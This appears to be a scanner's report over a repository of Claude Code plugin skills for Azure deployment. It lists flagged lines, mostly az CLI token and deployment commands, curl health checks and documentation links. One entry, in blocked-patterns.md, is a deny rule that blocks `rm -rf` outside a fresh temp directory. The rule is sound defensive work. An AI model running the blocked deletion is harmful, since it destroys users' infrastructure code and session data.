- [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities) - Network accessline 319
- [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta) - Network accessline 320
- [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md
- Network accessline 60
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 61
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 62
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 79
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 80
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 81
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 89
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 119
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 120
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 121
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 147
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 148
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 149
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 158
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 159
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 160
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 58
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 60
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/claude-code/plugins/azure-ai-foundry/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/SKILL.md
- Network accessline 26
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 27
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 55
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 56
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 57
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 58
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 109
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 110
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 111
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/dotnet.md
harness/claude-code/plugins/azure-ai-foundry/skills/microsoft-agent-framework/references/python.md
harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/SKILL.md
- Network accessline 26
- Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples - Network accessline 53
1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K - Network accessline 54
2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and - Network accessline 55
3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task. - Network accessline 102
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/references/dotnet.md
harness/claude-code/plugins/azure-ai-foundry/skills/semantic-kernel/references/python.md
harness/claude-code/plugins/azure-app-lifecycle/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/prereq-schemas.ts
- Executable scriptline 1
Executable file - Network accessline 64
buildRequirements?: BuildRequirements; /** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. - Network accessline 65
/** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. * null if no health endpoint found (triggers W-HEALTH warning). */ - Network accessline 66
* Used by scaffold for Azure health probe config and deploy for curl health check.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard-prereq/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/blocked-patterns.md
- Dangerous shell operationline 7
| `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md
- Network accessline 25
| Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use - Network accessline 26
|------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see - Network accessline 27
| 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/code-deployment-swa.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 52
- **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` ( - Network accessline 53
- `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md
- Network accessline 55
- ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on ` - Network accessline 57
- ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu - Access to secretsline 65
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/deploy-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/health-check-patterns.md
- Network accessline 22
If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 23
1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 54
|---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 55
| Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname - Network accessline 56
| App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 57
| Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) | - Network accessline 64
> ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end - Network accessline 65
> ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 66
> iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell - Network accessline 67
> curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 76
{ "name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", - Network accessline 77
"name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", "healthStatus": "healthy" // healthy | degraded | unreachable | unknown - Network accessline 78
"url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/portal-links.md
- Network accessline 11
$deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta - Network accessline 12
$resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN - Network accessline 13
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 27
$resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F') - Network accessline 28
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 33
For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog` - Network accessline 51
⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName} - Network accessline 52
https://portal.azure.com/.../{newDeploymentName}
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/deploy/preflight-checks.md
- Network accessline 17
- Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for - Network accessline 19
- ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/handoff-protocol.md
- Network accessline 12
> 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview - Network accessline 13
> 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ``` - Network accessline 14
> 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/iac-resources.md
- Network accessline 7
| Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 8
|----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u - Network accessline 9
| Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 10
| Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type | - Network accessline 14
| Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 15
|----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry. - Network accessline 16
| Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 17
| Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs | - Network accessline 34
| Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail - Network accessline 35
|----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR - Network accessline 36
| Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code | - Network accessline 37
| App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues | - Network accessline 38
| App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont - Network accessline 39
| Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures | - Network accessline 40
| Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/mcp-tool-reference.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool - Network accessline 28
> **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/phases/deploy.md
- Network accessline 43
| 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr - Network accessline 44
| 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc - Network accessline 45
| 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/naming-patterns.md
- Network accessline 5
> **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/prepare-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide-services.md
- Network accessline 197
**Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/pricing-guide.md
- Network accessline 66
When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/sku-quota-validation.md
- Network accessline 35
$sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/ - Network accessline 36
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20 - Network accessline 37
$limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null - Network accessline 38
$used = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null - Network accessline 48
az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" - - Network accessline 86
$sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$s - Network accessline 87
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup - Network accessline 88
$result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/subagent-pricing.md
- Network accessline 42
- ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries ( - Network accessline 45
- ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 - Network accessline 46
- ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to - Network accessline 47
- ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/prepare/validation-rubric.md
- Network accessline 8
|-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment* - Network accessline 9
| **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg - Network accessline 10
| **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget - Network accessline 22
- [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance - Network accessline 23
- [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md
- Network accessline 116
> ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 117
> `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 133
// ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL #disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets - Network accessline 134
#disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' // Uses the CA's system-assigned managed identity - Network accessline 135
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 188
Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars: - Network accessline 191
env: [ { name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 192
{ name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 193
{ name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md
- Network accessline 20
> **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 79
> **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold - Network accessline 80
> > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne - Network accessline 81
> ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/bicep-patterns.md
- Network accessline 5
> **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates. - Network accessline 76
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 77
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md
- Network accessline 59
1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 60
2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 62
Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-app-onboard/references/scaffold/env-var-secrets.md
- Network accessline 12
> **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope - Network accessline 13
> ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins } - Network accessline 14
> var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' - Network accessline 35
